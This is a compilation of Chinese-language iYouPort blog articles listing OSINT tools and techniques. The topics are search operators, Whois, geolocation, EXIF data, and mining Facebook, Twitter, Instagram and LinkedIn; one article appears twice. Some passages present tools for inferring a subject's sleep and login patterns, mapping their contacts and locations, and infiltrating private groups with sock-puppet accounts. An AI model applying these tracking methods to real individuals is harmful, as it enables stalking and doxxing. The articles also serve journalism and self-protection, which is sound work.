- *allintext: word1 word2 word3*—搜索页面或网站中的所有给定单词。
- *related:example.com*—将列出与指定网页“相似”的网页。

- *site:*.example.com*—显示所有子域。 Asterisk 可以替代搜索查询中的单个或多个单词。

Whois ——

Whois 提供有关 Internet 资源的注册用户或受理人的信息，例如域名、IP地址或自治系统。

有许多 Whois 资源，这些资源都很好：whois.icann.org 和 whois.com。

反向 Whois ——

Reverse Whois 为您提供 Whois 记录中具有相同组织名称或电子邮件地址的域列表。

例如，如果您正在调查名为“John Doe Inc”的公司，您可以看到在“John Doe Inc”下注册的所有其他域名。

viewdns.info 很棒，因为它有一个广泛的工具包，包括反向 whois 查找。

相同的IP ——

在与目标网站同一台服务器上运行的网站中会发现有价值的信息。例如，您可能会找到子域或开发站点。

托管此站点的服务提供商通常也托管其他服务，请使用 www.atsameip.intercode.ca 和 www.sameip.org 进行检查。

被动 DNS ——

仅使用 DNS 记录有时还不够，这就是被动 DNS 派上用场的地方。

RiskIQ Community Edition 是值得推荐的，因为它提供的信息不仅仅是被动DNS。VirusTotal 或 SecurityTrails 也可用于此目的。

Internet 档案和缓存 ——

The WaybackMachine 可用于查找以前版本的网页，使人们可以查看网站之前的状态或恢复已删除的网页。

Archive.today 是另一个网页时间包，可以手动将实时网址快照添加

到存档。

有些情况下，已删除的页面未被归档但仍由搜索引擎缓存。可以在 cachedview.com 上找到它们，也可以使用以下 Google 查询请求缓存版本：*cache:website.com*.

在 Google 上没有找到任何内容吗？那就检查其他搜索引擎的缓存，但请记住缓存显示上次索引页面的时间。因此，您可能会获得包含缺失图像和过时信息的页面。

您可能还喜欢 visualping.io——一种监控服务，它在选定的时间截取网页的屏幕截图，并在发生变化时向您发送电子邮件警报。

‘可靠吗’分析 ——

知道自己正在与谁打交道、以及网站是否可以信任，非常重要。

如果有任何疑问，请使用免费在线工具进行恶意活动检查，就可以会省去在VM中打开网站或执行其他预防措施的麻烦。

尽管单独进行测试并不能获得完全精确的结果，但它仍然是主要方法之一：

- www.siteworthtraffic.com—分析网站流量（用户，网页浏览量）并估算通过广告可以产生多少收入。
- www.alexa.com—分析网站流量和竞争对手，并提供有关SEO改进的建议。
- www.similarweb.com—分析工具，提供有关网站或移动排名、性能、流量来源等深层信息。最重要的是，它进行了referral analysis。
- https://sitecheck.sucuri.net—扫描网站上的已知恶意软件、黑名单状态、网站错误和过时的软件。
- www.quttera.com—提供免费的恶意软件扫描，并提供包含恶意文件、可疑文件、黑名单状态等的综合报告。
- www.urlvoid.com—帮助您检测潜在的恶意网站。此外，它还提供了有关 IP地址、DNS记录等更多信息，并将其与已知黑名单进行交叉引用。

物联网搜索引擎 ——

IoT（物联网）搜索引擎向您显示连接到网络空间的设备，就像谷歌搜索一样。为什么有用？

例如，您可以请求已有的有关开放端口、应用程序和协议的可用信息，而不是使用 Nmap 主动扫描端口和服务。

Shodan.io 是最受欢迎的扫描仪，具有公共API并与许多安全工具集成。对于营销人员来时，它提供有关产品用户及其所在位置的数据。

安全研究人员使用它来发现易受攻击的系统并访问各种物联网设备。还有其他替代品，如 Censys，或者它的中国复制版—Fofa 和 ZoomEye。

位置搜索 ——

「图」

「图」

地理定位工具 ——

Creepy 是一个免费工具，允许从社交网络和图像托管服务收集数据进行位置研究。

商业选择是 Echosec，每月花费近500美元，但如果您是非营利组织或自由撰稿人，您可以申请免费访问 Echosec Pro。

基于**IP**的地理定位 ——

基于IP的地理定位是IP地址或MAC地址到真实世界地理位置的映射。

有许多网站可以将IP地址映射到位置，其中一个是 www.iplocation.net。当您知道该人之前已连接的WI-FI接入点时—使用 wigle.net 对其进行映射并在 Google 地球上进行更详细的研究。

有用的网站 ——

- www.emporis.com—建筑数据库，提供来自世界各地的建筑物的图像。可能有助于确定图片上的建筑物。
- http://snradar.azurewebsites.net—搜索地理标记的 VKontakte 公共帖子并按日期过滤。
- http://photo-map.ru—允许搜索带有地理标记的 VKontakte 帖子，但需要授权。
- www.earthcam.com—全球拥有和运营的直播网络摄像头网络，在位置研究期间可能很有用。

- www.insecam.org—在线安全摄像头目录。摄像机的坐标是近似值，指向ISP地址，而不是摄像机的物理地址。

图 ——

如果您有图片并想知道它的使用位置或首次出现的时间，使用反向图片查找即可。

此外，TinEye 的算法设计与 Google 不同，因此可以返回不同的结果。

为什么有用？作为一名调查员，您可能会需要通过头像找到这个人，因为人们通常不会为他们使用的各种社交网络更改个人资料图片；作为记者，您可以执行与过滤配对的图像搜索以揭露虚假新闻。

如果您需要在社交网络上进行狭窄的搜索，可以使用针对 Vkontakte 的 Findclone 和 Findmevk.com 或者针对 Reddit 的 karmadecay 进行搜索。

此外，值得一提的是浏览器扩展：适用于 Chrome 的 RevEye 和适用于 Firefox 的“图像搜索”选项。

像 CamFind for iOS 这样的移动应用可能会帮助您搜索物理世界中的内容。此外，还有一个 Image Identification Project，用AI识别图像上的内容。

图像本身包含许多有用的信息，如相机信息、地理坐标等等 —— 它被称为EXIF数据，如果没有删除，您可能会从中发现很多有趣的信息。

例如，映射地理坐标以找出拍摄照片的位置或获取相机序列号，有一项特殊服务：stolencamerafinder.com。

图像编辑工具允许查看元数据，如果您不想要安装复杂程序，跨平台免费软件 Exiftool 可能比较适合您。

第三种方法是在线查看 EXIF 数据：exifdata.com 或 viewexifdata.com。要删除EXIF数据，您可以使用本地安装的工具：exifpurge.com 或在线进行：verexif.com。

您是否需要执行图像取证并查明图像是否被篡改过？使用 Forensically 或 FotoForensics 这些在线工具即可。如果您不想在线上

传图片—可以在本地运行 Phoenix 或 Ghiro。

后者更自动化，并提供比上述在线工具更多的功能。

除此之外，使用图像可能需要对其进行去模糊处理以提高质量，因此这里有一些增强工具：

- Smartdeblur—有助于恢复焦点并进行图像改进，从而提供惊人的效果。
- Blurity—仅关注去模糊化，不提供像以前的工具那样的许多选项，仅在Mac上可用。
- Letsenhance.io—使用AI在线增强和升级图像。

「图」

「图」

SOCMINT ——

SOCMINT 是 OSINT 的一个子集，专注于社交媒体平台上的数据收集和监控。

以下是更多的工具。

- Stalkscan—显示有关此人的所有可公开访问的信息。
- ExractFace—从 Facebook 提取数据，使其可脱机使用以作为证据或执行高级离线分析。
- Facebook Sleep Stats—根据用户的在线/离线状态估算睡眠模式。
- lookup-id.com—帮助您找到个人资料或群组的 Facebook ID。

Twitter：

- Twitter advanced search—正如其名；
- TweetDeck—为您提供一个仪表板，显示您的Twitter帐户中的单独活动。例如，您可能会在主屏幕上的某个位置看到针对您的主页Feed、通知、直接消息、和活动的单独列。
- Trendsmap—向您展示来自世界各地的 Twitter 上最受欢迎的趋势、主题标签和关键字。
- Foller—为您提供有关任何公共 Twitter 个人资料的丰富信息（个人资料公开信息，推文和粉丝数量，主题，标签，提及等）。

- Socialbearing—免费的 Twitter 分析，搜索推文、时间表和推特地图。通过参与、影响力、位置、情感等线索来查找、过滤和排序推文或人。
- Tinfoleak—显示了Twitter用户使用的设备、操作系统、应用程序和社交网络。此外，它还显示了地点和地理位置坐标，以生成所访问位置的跟踪地图。在Google地球中映射用户推文等功能。

Instagram：

- www.picodash.com—将统计信息导出到电子表格（CSV）。此外，它也收集点赞和评论。
- https://web.stagram.com—在线图像和视频查看器/下载器。
- https://codeofaninja.com/tools/find-instagram-user-id—获取用户ID。用户名可能会更改，ID不会。
- http://instadp.com—显示完整尺寸的个人资料照片。
- https://sometag.org—搜索趋势标签、位置和帐户。此外，它还会比较帐户和导出关注者以及标签统计信息。

LinkedIn：

- InSpy—用 Python 编写的。可用于搜索特定组织的员工。此外，它还可以找出组织使用的技术，这是通过特定关键字爬出来的。
- LinkedInt—刮取所选组织中员工的电子邮件地址。支持给定公司域名的自动电子邮件前缀检测。
- ScrapedIn一个 Python 脚本，用于抓取配置文件数据并将其导入XLSX文件（旨在与Google Spreadsheets一起使用）。

「图」

「图」

—— 自动化**OSINT** ——

互联网是数据的海洋，手动查找信息可能既费时又无效，而且自动化工具可以实现肉眼不会发现的相关性。

这一切都取决于你的情况，你是否需要使用这些工具，因为大多数工具都需要学习，需要解决复杂的问题。

因此，如果您只想完成几个简单的任务，前面提到的东西就已经足够

了。

以下是更好的工具。

SpiderFoot ——

如果你想自动化OSINT，它是最好的侦察工具之一，因为它可以用来同时查询100多个公共数据源，它的模块化允许微调查询源。

有四种不同的用例：获取目标的所有内容，了解目标暴露在互联网上的内容，查询黑名单和其他来源以检查目标的恶意与否，通过不同的开源渠道收集情报。最后一个是被动侦察的理想选择。

theHarvester ——

这是一个非常简单但有效的工具，用于在信息收集阶段获取有关目标的有价值信息。

对于被动侦察，theHarvester 使用许多资源来获取Bing、百度、雅虎和谷歌搜索引擎等平台的数据，以及 LinkedIn、Twitter 和 Google Plus 等社交网络数据。

对于主动侦察，它执行DNS反向查找、DNS TDL扩展和DNS暴力破解。

Recon-ng ——

这是另一个很棒的命令行工具，用于彻底、快速地进行信息收集。

这个功能齐全的Web侦察框架包括一系列用于被动侦察、便利功能、和交互式帮助的模块，可指导您如何正确使用它。

对于那些熟悉 Metasploit 的人来说，Recon-ng 会更容易学习，因为它们具有相似的使用模式。

如果您正在寻找能够快速检查公司在互联网上的可见性的强大功能 —— 这是一个可行的工具。

Maltego ——

这是一个为分析复杂环境而开发的高级平台。

除了数据挖掘之外，它还可以进行数据关联并直观地呈现数据。

Maltego 与您连接的实体（人员，公司，网站，文档等）合作，以便从不同来源收集有关它们的更多信息，以获得有意义的结果。

该工具的独特之处在于“transforms”—一个插件库，可帮助运行与外部应用程序不同类型的测试和数据集成。

FOCA ——

这是一种从分析的文档中提取隐藏信息和元数据的工具。

分析所有文档并提取元数据后，它会进行自动元数据分析，以确定哪些文档是由同一用户创建的。

最新版本仅适用于 Windows。

Metagoofil ——

也是一个命令行工具。对网站下载的公共文档进行分析和元数据提取。适用于 pdf，doc，xls，ppt 和其他格式。

—— 总结 ——

在后隐私世界中保持私密权并控制在这个数字海洋中漂浮的信息是很困难的。

虽然你无法控制关于你的一切，但至少要了解它，这非常重要。

不言而喻，⚠ 在数字时代，信息起着关键作用，因此那些知道如何找到信息的人将始终领先一步。

这就是本文的目的，以展示OSINT如何帮助解决广泛的问题：从深度调查到隐私人身安全。

文章中介绍的大部分技巧都很简单，但是会非常强大。因此，如果被用于恶意目的就会造成严重的损害，因此希望您能合理使用它们。

您喜欢使用什么工具和技术来收集情报？欢迎留言讨论。〇 广告

原文

针对社交网络和在线社区的调查：开源情报思考方式（2） - iYouPort

开源情报-每个人都可用的武器

工具有很多，重要的是在关键时候能及时找到最合适的那个

「图」

「图」

如果您错过了上一部分内容，可以在这里回顾：《针对人的追踪调查：开源情报思考方法（1）》。

本文继续前面的内容，主要介绍针对社交网络和在线社区的调查 ——也就是，对群体。

1、监控社交网络流量

监视社交网络流量对于调查工作和社会研究工作来说都具有重要价值。比如调查大型群体事件、突发灾难、信息战水军网络、追踪网络犯罪分子，等等。

社交网络搜索引擎：

- http://www.uvrx.com/social.html （可搜索许多社交网络服务）
- icerocket.com （搜索博客、Twitter、Facebook）
- Who’s Talkin （搜寻Reddit和其他不常见的网站）
- 48ers

一个特别有用的社交搜索引擎是：

- topsy.com

Topsy 提供了一种分析工具，该工具可以跟踪一个月内每天与您的搜索字词相关的推文数量。

Topsy 还提供 “社交趋势” 功能，以查看最受欢迎的话题。对于研究流行文化的社会科学家来说可能很有用。

Social Mention 对于研究公众/选民态度和大众文化的社会科学家来说是值得的，它具有情感分析功能：

- Social Mention

Celly 允许人们建立小型的私人社交网络称为“细胞”，“细胞”的用户们可以从任何设备快速的接入网络。随着“细胞”规模的扩大，用户们的讨论可以被控制主题或者自由聊天。

一个个“细胞”就像社交单元，它们可以连在一起来组成网络，并且灵活的规模和组成可以适应不同的组织。创建者可以分散处理安全信息，同时组织内可以进行无拘无束的沟通。

通过应用，用户可以用手机建立细胞并且邀请其他移动用户参与其中。Celly还可以让用户发布投票，设定通告，并且追踪话题来更好的组织信息。

- Celly

如果您知道一个 celly 组的名称，则可以使用下面的URL搜索它：

- https://cel.ly/c/nameofgroup

如果该组被列为私人，则调查者可以创建一个匿名帐户（袜子木偶）并加入该群组以查看其消息。URL https://cel.ly/cells 可能会返回最受欢迎的 “细胞” 列表。

2、Facebook 搜索工具

针对 Facebook 的调查工具非常多，因为全世界都使用它，它就变成了一个情报金矿。于是开发者也会瞄准它。

调查界大神 Michael Bazzell 提供的工具已经足够使用，您可以在这里下载他的书：https://t.me/iyouport/6548

如果您更喜欢阅读中文相关内容，不要错过我们曾经介绍过的，比

如：

- 《如何使用账户恢复功能追踪目标人？- 开源情报搜集方法》
- 《调查记者如何从社交媒体上挖掘情报？》
- 《搜人、照片、视频、位置 …… 大全：新的FB”图谱搜索”替代方案—— 尤其强调防御》
- 《如何跨社交媒体平台追踪目标人？⚠ 警告安全意识》
- 《追踪政府宣传战的内幕：跨平台网络分析的数字取证案例》

3、Twitter 挖掘工具

不用说，Twitter 也是金矿。

许多人在 Twitter 上发布有关自己的个人信息。搜索 Twitter 有时还可以使用GPS坐标来确定某个人在给定时间和日期的位置。

您还可以直接通过GPS位置坐标进行搜索，以找到从那里发推文的所有帐户。

Michael Bazzell 的网站上这些工具都有。但是，现在他的网站需要付费才能使用，如果您没有预算，可以关注我们介绍过的方法，这是免费的（并且不差多少）：

- 《如何只用电子邮件地址追踪到 Twitter 帐户？》
- 《针对人的追踪调查：开源情报思考方法（1）》
- 《如何从推特挖掘情报（1）：一个流行工具的具体介绍》
- 《观察追踪者的思考方式：挖掘推特情报的基础教程（2）》
- 《绕开推特算法噪音、使用基本运算符挖掘推特数据的方法》
- 《如何可视化推特对话：极简小工具》
- 《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》
- 《情感分析：如何在社交网络上抓取并分析大众对某些话题的情绪？》
- 《网络水军如何试图影响选举？ 一个调查案例，观察对选民的在线心理战》

4、Instagram搜索工具

- 《如何在社交媒体上查找照片并按日期过滤：开源情报思考方式》
- 手册《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜

索世界》
- 《如何验证网站的年龄、如何得知照片发布的确切时间？- 开源调查小工具》

5、映射在线社交网络

那必须要说 Maltego了。

您可以在这里下载一本书，其中包括绝大多数最厉害的工具的介绍和演示：https://t.me/iyouport/6422

也可以在下面看到中文版演示和介绍：

- 《社交工程工具用于开源情报调查：0基础初学者指南》
- 作为防御的使用《社交媒体情报和反情报基本工具手册：自我人肉（2）》
- 以及一系列演示视频《想成为专业情报调查人员吗？或者想要避免被追踪监视吗？这里是一堆视频能对您有所帮助》
- 相比下更简单的另一个工具《如何侦查电子邮件和电话号码？开源情报调查工具》
- 系列工具《20个最好用的在线侦查工具和数据收集工具》

6、种族社区

- Black Planet (非裔)
- MiGente (拉丁裔)
- Asian Avenue (亚裔)
- Stormfront (白人种族主义者)
- Indianz (印度裔美国人)

工具其实有很多，关键是您能在特定需要的条件下想起来用什么。建议最好记住几个比较全能的工具，并同时记住一些查询捷径，这样就能帮助您及时找到最适合的方法。

本系列主要是介绍框架，它们表明当您从哪里开始的时候会遇到哪些路线。其实就是个经验问题，就如您看到牛排就能想到拿刀叉、看到拉面就能想到拿筷子，一样。多吃几次效果就会越来越好。〇

广告

原文

新生情报工具（3）：挖掘推特、搜查加密货币、刮刀和定向追踪 - iyouport

开源情报-每个人都可用的武器

【2019年12月3日存档】继续我们的不定期更新系列

来看看今天有什么好玩的东西。

撬开 **Facebook** 黑盒

看起来 Facebook 很不愿意让监视资本主义赖以生存的数据被民间调查人员使用；他们不仅关闭了自己的调查窗口，还将用户分享的调查工具链接自动列为“非法”。

如果你想取得任何成功，你必须要找到能撬开对方的方式。

对于 Facebook 而言，已经有很多技术人士找到了门路，而 Entropy 则是其中一个新选手。

Entropy 是一种工具，可以抓取 Facebook 聊天状态数据，以查看用户上次登录时间并绘制时态图表。

这就能让你知道你的调查对象什么时候工作、什么时候睡觉或醒来。这对于任何社交工程战术来说都是很有用的信息。

Facebook 一直记录着这些数据，拿去卖钱；但他们不告诉你。如果调查人员想要知道，就需要一点技术思考。

在这里：https://github.com/andrew-vii/Entro.py

一套（14）个在 **Twitter** 挖数据的工具：

1、高级搜索 Twitter（自定义选项）：https://twitter.com/search-advanced

你能看到很多选项，可以自定义关键字、时间、语种。

就算您不关心调查，也可以试试看，使用 Tor＋您的袜子木偶账户，搜索您自己的真实账户，看其中哪些内容需要删除。

因为，监视你的人（包括trolls）可能一直在采取这种方法瞄准参与固定话题讨论的所有人。

这就是《自我人肉》的思路 —— 将 OSINT 用于防御。

当然，如果您是进攻者—也就是调查人员—它会让你变得更帅。

2、Twitter 的位置搜索（GPS）：https://twitter.com/search?q＝geocode%3A38.952451%2C-90.195011%2C1km&src＝typd

链接里是实例。您可以填写您想要的任何坐标 —— 比如大型突发事件，您想要知道那些声称自己是目击者的推特用户究竟是不是在事发地点；或者你想要追踪事发地点附近活动的账户，以了解事件进展……等等。

我们介绍过这个方法，具体使用详见《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》。

很容易操作，上面这篇文章中还包括很多其他使用方法，一看就能懂。

3、Twitter 时间搜索（输入日期和关键字）比如：Hong Kong since:2012–01–01 until:2012–01–02

就是这样：https://twitter.com/search?q＝Hong%20Kong%20since%3A2012-01-01%20until%3A2012-01-02&src＝typed_query

4、所有推文（整个档案）：http://www.allmytweets.net/connect/

功能就是它的名字。

顺便再提一下关于如何简单删除所有过时推文的小方法，见《清洁工具：自动删除您的旧推文，但您要保留的推文除外》。

5、MentionMapp（离得最近的朋友）：https://mentionmapp.com/

这是一个在线可用的可视化工具，挖掘你的调查对象的人际关系网络；还可以清楚地看到谁参与了某些固定的对话。

你能想象得到，⚠如果活动家没有很好地做到匿名，该工具落在当局手里可以很容易地对一群行动者“连锅端”。

这绝不是能做到这点的唯一工具；推特也不是能实现此类追踪的唯一平台 —— 您可以在我们曾经提供的工具箱中找到一大堆。

这就是为什么我们要强调，活动家的在线组织动员必须做好匿名，也就是角色分配，否则您的行动计划将被扼杀于摇篮。具体做法详见：

- 《如何分身》
- 《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》

6、FollerMe（Twitter分析）https://foller.me/

不仅分析个人资料和最新推文，还分析推文的内容，并以“标签云”的形式告诉您主题的使用情况。

而且，还会显示公共 Twitter 页面上未显示的内容，例如加入的日期、时区和关注者比率。

7、TwtrLand（Twitter 个人资料）：https://klear.com/

这是个营销软件，但是你知道，它可以用来定向追踪（营销客不是一直在这么干吗）

在“免费工具”的栏目中您也许能找到您需要的东西。

8、GeoChirp（Twitter 映射数据）http://www.geochirp.com/

地理社交足迹，就是它的名字所显示的。

9、MIT Map（映射推文）

可以在几毫秒内查询和可视化数十亿条记录。还有一个演示视频：

10、HootSuite（实时数据流）https://hootsuite.com/feed/TEST+Search?pfilter=

11、Twitterfall（实时搜索）：https://twitterfall.com/

12、Twitonomy（Twitter分析）：http://www.twitonomy.com/

- 对任何人的推文、转发、回复、提及、主题标签进行详细和可

视化分析 ……
- 浏览、搜索、过滤并深入了解您关注的人和关注您的人；
- 只需单击一下，即可将备份 /导出推文、转发、提及和报告到 Excel 和 PDF；
- 监控您与其他 Twitter 用户的互动：提及，转发，收藏…
- 获取并导出任何关键字、标签、URL或 @users 的搜索分析；
- 深入了解并下载任何用户转发和收藏的推文；
- 监控您感兴趣的用户、列表和关键字搜索中的推文；
- 通过“ 关注者报告”为您的粉丝提供可操作的见解；
- 浏览，排序和添加/删除人员到您的列表；
- 获取您没有关注的关注者的列表；
- 跟踪推文中链接的点击次数；
- 跟踪您的追随者增长情况
- 以及更多…

13、Status People（识别假账户）：https://fakers.statuspeople.com/

14、 Keyhole（实时跟踪）：https://www.google.com/earth/

刮刀：**Linky**

这是一个 LinkedIn 刮刀。即使它仍处于开发阶段，看起来已经很容易使用。

可以搜索公司的员工，并可以使用关键字来进行过滤。

而且无需考虑要将其保存的格式，因为输出选项会将其导出为 CSV、JSON 和 HTML。

在这里：https://github.com/mez0cc/linky

加密货币搜索工具

我们演示过如何在区块链上追踪比特币交易，如果您忘记了可以在这里回顾《如何在区块链上追踪比特币交易？》。

区块链是开源调查的金矿。如果您在调查中遇到与加密货币有关的情报线索，那么这里有一些专门针对加密货币的搜索引擎，也许适合您：https://www.aware-online.com/osint-tools/cryptocurrency-search-tool/

Aware Online 提供了很多调查工具，但其余工具我们曾经都介绍过，也就是说有非常多的替代品，而且都很好用；唯独加密货币还没有。于是上述链接本身可以是一个独立的工具。

Monitoring Imagery

卫星图像总是落后的，对于验证消息和追踪信息来说这种情况很头大。

这里是一个小工具，可以自动检测您正在查看的区域的更新卫星图像。这对调查来说是很大的帮助。

不过这个工具可能不适合初学者。它是在 Rust 中构建的，需要比常规 Python 脚本更多的工作。

于是它可能更适合技术人员。如果您尝试运行了，请告诉我们您的体验。

在这里： https://github.com/audeberc/OSIMINT-alert

定向追踪工具：**Spiderfoot**

SpiderFoot 是一个开源的足迹追踪工具，用于 Windows 和 Linux。它是 Python 编写的，提供了易于使用的GUI。

可以获取有关目标的各种信息。非常简单易用，安装后可立即启动扫描。

教程：

SpiderFoot 的主要目标是尽可能自动化调查过程，帮您节省时间，将注意力集中在调查工作本身上。

- 有大量的数据源；到目前为止已超过50个
- 在 Linux 和 Windows 上运行。并且完全开源
- 可视化。内置基于 JavaScript 的可视化或导出到 GEXF / CSV 以用于其他工具，例如 Gephi。
- 高度可配置
- 模块化。每个主要功能都是一个用 Python 编写的模块
- SQLite 后端。所有扫描结果都存储在本地 SQLite 数据库中
- 可同时扫描多个目标。

演示视频：

好啦，今天的内容就是这样。

本栏目不定期更新；如果您开发了非常棒的工具也可以联系我们，我们帮您推荐。谢谢！玩得开心。〇

原文

新生情报工具（3）：挖掘推特、搜查加密货币、刮刀和定向追踪 - iYouPort

开源情报-每个人都可用的武器

继续我们的不定期更新系列

「图」

「图」

如果你忘记了此前的内容，或者忘记了本栏目的来源，可以在这里回顾：

- 《新生情报工具（1）：人脸识别身份挖掘、推特分析热点事件、暗网爬虫和调查抖音》
- 《新生情报工具（2）：刮刀、打破推特限制、情报资源机器人、和袜子木偶管家》

来看看今天有什么好玩的东西。

撬开 Facebook 黑盒

看起来 Facebook 很不愿意让监视资本主义赖以生存的数据被民间调查人员使用；他们不仅关闭了自己的调查窗口，还将用户分享的调查工具链接自动列为“非法”。

如果你想取得任何成功，你必须要找到能撬开对方的方式。

对于 Facebook 而言，已经有很多技术人士找到了门路，而 Entropy 则是其中一个新选手。

Entropy 是一种工具，可以抓取 Facebook 聊天状态数据，以查看用户上次登录时间并绘制时态图表。

这就能让你知道你的调查对象什么时候工作、什么时候睡觉或醒来。这对于任何社交工程战术来说都是很有用的信息。

Facebook 一直记录着这些数据，拿去卖钱；但他们不告诉你。如果调查人员想要知道，就需要一点技术思考。

在这里：https://github.com/andrew-vii/Entro.py

一套（14）个在 **Twitter** 挖数据的工具：

1、高级搜索 Twitter（自定义选项）：https://twitter.com/search-advanced

你能看到很多选项，可以自定义关键字、时间、语种。

就算您不关心调查，也可以试试看，使用 Tor＋您的袜子木偶账户，搜索您自己的真实账户，看其中哪些内容需要删除。

因为，监视你的人（包括trolls）可能一直在采取这种方法瞄准参与固定话题讨论的所有人。

这就是《自我人肉》的思路 —— 将 OSINT 用于防御。

当然，如果您是进攻者—也就是调查人员—它会让你变得更帅。

2、Twitter 的位置搜索（GPS）：https://twitter.com/search?q＝geocode%3A38.952451%2C-90.195011%2C1km&src＝typd

链接里是实例。您可以填写您想要的任何坐标 —— 比如大型突发事件，您想要知道那些声称自己是目击者的推特用户究竟是不是在事发地点；或者你想要追踪事发地点附近活动的账户，以了解事件进展……等等。

我们介绍过这个方法，具体使用详见《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》。

很容易操作，上面这篇文章中还包括很多其他使用方法，一看就能懂。

3、Twitter 时间搜索（输入日期和关键字）比如：Hong Kong since:2012–01–01 until:2012–01–02

就是这样：https://twitter.com/search?q＝Hong%20Kong%20since%3A2012-01-01%20until%3A2012-01-02&src＝typed_query

4、所有推文（整个档案）：http://www.allmytweets.net/connect/

功能就是它的名字。

顺便再提一下关于如何简单删除所有过时推文的小方法，见《清洁工具：自动删除您的旧推文，但您要保留的推文除外》。

5、MentionMapp（离得最近的朋友）：https://mentionmapp.com/

这是一个在线可用的可视化工具，挖掘你的调查对象的人际关系网络；还可以清楚地看到谁参与了某些固定的对话。

你能想象得到，⚠如果活动家没有很好地做到匿名，该工具落在当局手里可以很容易地对一群行动者“连锅端”。

这绝不是能做到这点的唯一工具；推特也不是能实现此类追踪的唯一平台 —— 您可以在我们曾经提供的工具箱中找到一大堆。

这就是为什么我们要强调，活动家的在线组织动员必须做好匿名，也就是角色分配，否则您的行动计划将被扼杀于摇篮。具体做法详见：

- 《如何分身》
- 《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》

6、FollerMe（Twitter分析）https://foller.me/

不仅分析个人资料和最新推文，还分析推文的内容，并以“标签云”的形式告诉您主题的使用情况。

而且，还会显示公共 Twitter 页面上未显示的内容，例如加入的日期、时区和关注者比率。

7、TwtrLand（Twitter 个人资料）：https://klear.com/

这是个营销软件，但是你知道，它可以用来定向追踪（营销客不是一直在这么干吗）

在“免费工具”的栏目中您也许能找到您需要的东西。

8、GeoChirp（Twitter 映射数据）http://www.geochirp.com/

地理社交足迹，就是它的名字所显示的。

9、MIT Map（映射推文）

可以在几毫秒内查询和可视化数十亿条记录。还有一个演示视频：

10、HootSuite（实时数据流）https://hootsuite.com/feed/TEST+Search?pfilter=

11、Twitterfall（实时搜索）：https://twitterfall.com/

12、Twitonomy（Twitter分析）：http://www.twitonomy.com/

- 对任何人的推文、转发、回复、提及、主题标签进行详细和可视化分析 ……
- 浏览、搜索、过滤并深入了解您关注的人和关注您的人；
- 只需单击一下，即可将备份 /导出推文、转发、提及和报告到 Excel 和 PDF；
- 监控您与其他 Twitter 用户的互动：提及，转发，收藏…
- 获取并导出任何关键字、标签、URL或 @users 的搜索分析；
- 深入了解并下载任何用户转发和收藏的推文；
- 监控您感兴趣的用户、列表和关键字搜索中的推文；
- 通过“ 关注者报告”为您的粉丝提供可操作的见解；
- 浏览，排序和添加/删除人员到您的列表；
- 获取您没有关注的关注者的列表；
- 跟踪推文中链接的点击次数；
- 跟踪您的追随者增长情况
- 以及更多…

13、Status People（识别假账户）：https://fakers.statuspeople.com/

14、 Keyhole（实时跟踪）：https://www.google.com/earth/

刮刀：**Linky**

这是一个 LinkedIn 刮刀。即使它仍处于开发阶段，看起来已经很容易使用。

可以搜索公司的员工，并可以使用关键字来进行过滤。

而且无需考虑要将其保存的格式，因为输出选项会将其导出为 CSV、JSON 和 HTML。

在这里：https://github.com/mez0cc/linky

加密货币搜索工具

我们演示过如何在区块链上追踪比特币交易，如果您忘记了可以在这里回顾《如何在区块链上追踪比特币交易？》。

区块链是开源调查的金矿。如果您在调查中遇到与加密货币有关的情报线索，那么这里有一些专门针对加密货币的搜索引擎，也许适合您：https://www.aware-online.com/osint-tools/cryptocurrency-search-tool/

Aware Online 提供了很多调查工具，但其余工具我们曾经都介绍过，也就是说有非常多的替代品，而且都很好用；唯独加密货币还没有。于是上述链接本身可以是一个独立的工具。

Monitoring Imagery

卫星图像总是落后的，对于验证消息和追踪信息来说这种情况很头大。

这里是一个小工具，可以自动检测您正在查看的区域的更新卫星图像。这对调查来说是很大的帮助。

不过这个工具可能不适合初学者。它是在 Rust 中构建的，需要比常规 Python 脚本更多的工作。

于是它可能更适合技术人员。如果您尝试运行了，请告诉我们您的体验。

在这里： https://github.com/audeberc/OSIMINT-alert

定向追踪工具：**Spiderfoot**

SpiderFoot 是一个开源的足迹追踪工具，用于 Windows 和 Linux。它是 Python 编写的，提供了易于使用的GUI。

可以获取有关目标的各种信息。非常简单易用，安装后可立即启动扫描。

教程：

SpiderFoot 的主要目标是尽可能自动化调查过程，帮您节省时间，将注意力集中在调查工作本身上。

- 有大量的数据源；到目前为止已超过50个
- 在 Linux 和 Windows 上运行。并且完全开源
- 可视化。内置基于 JavaScript 的可视化或导出到 GEXF / CSV 以用于其他工具，例如 Gephi。
- 高度可配置
- 模块化。每个主要功能都是一个用 Python 编写的模块
- SQLite 后端。所有扫描结果都存储在本地 SQLite 数据库中
- 可同时扫描多个目标。

演示视频：

好啦，今天的内容就是这样。

本栏目不定期更新；如果您开发了非常棒的工具也可以联系我们，我们帮您推荐。谢谢！玩得开心。〇 广告

原文

新生情报工具（4）：战术培训、狩猎推特、瑞士军刀 - 针对特定目标人的侦查利器 - iYouPort

开源情报-每个人都可用的武器

继续我们的不定期更新系列

「图」

「图」

如果您忘记了此前的内容，或者忘记了本栏目的来源，可以在这里回顾：

- 《新生情报工具（1）：人脸识别身份挖掘、推特分析热点事件、暗网爬虫和调查抖音》
- 《新生情报工具（2）：刮刀、打破推特限制、情报资源机器人、和袜子木偶管家》
- 《新生情报工具（3）：挖掘推特、搜查加密货币、刮刀和定向追踪》

来看看今天有什么好玩的东西。

战术培训：**TryHackMe**

这个名字就意味着它是做什么的。没错，模拟攻击 —— 您可以通过这里的演习打磨攻防技能。

尤其是，现在该网站有了一个开源情报调查的模拟训练营。

这里面的问题并不是很难，很适合初学者；很高兴看到有一些基于OSINT的挑战正式出现了。

「图」

「图」

如果您感兴趣，可以来这里：https://tryhackme.com/room/ohsint

简易教程：**Twitter** 搜索运算符

我们介绍过谷歌运算符及使用技巧，见《攻防皆可用：GoogleDorking 高级运算符完整列表》。

但你知道吗，Twitter 也有数十个特殊搜索运算符，可以在自定义时间范围内搜索、可以过滤来源、媒体类型等等。

于是依旧对调查者推荐使用 TweetDeck，它可以非常方便全方位地监视信息流。在这里看到我们曾经的介绍《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》。

下面总结一下这些运算符：

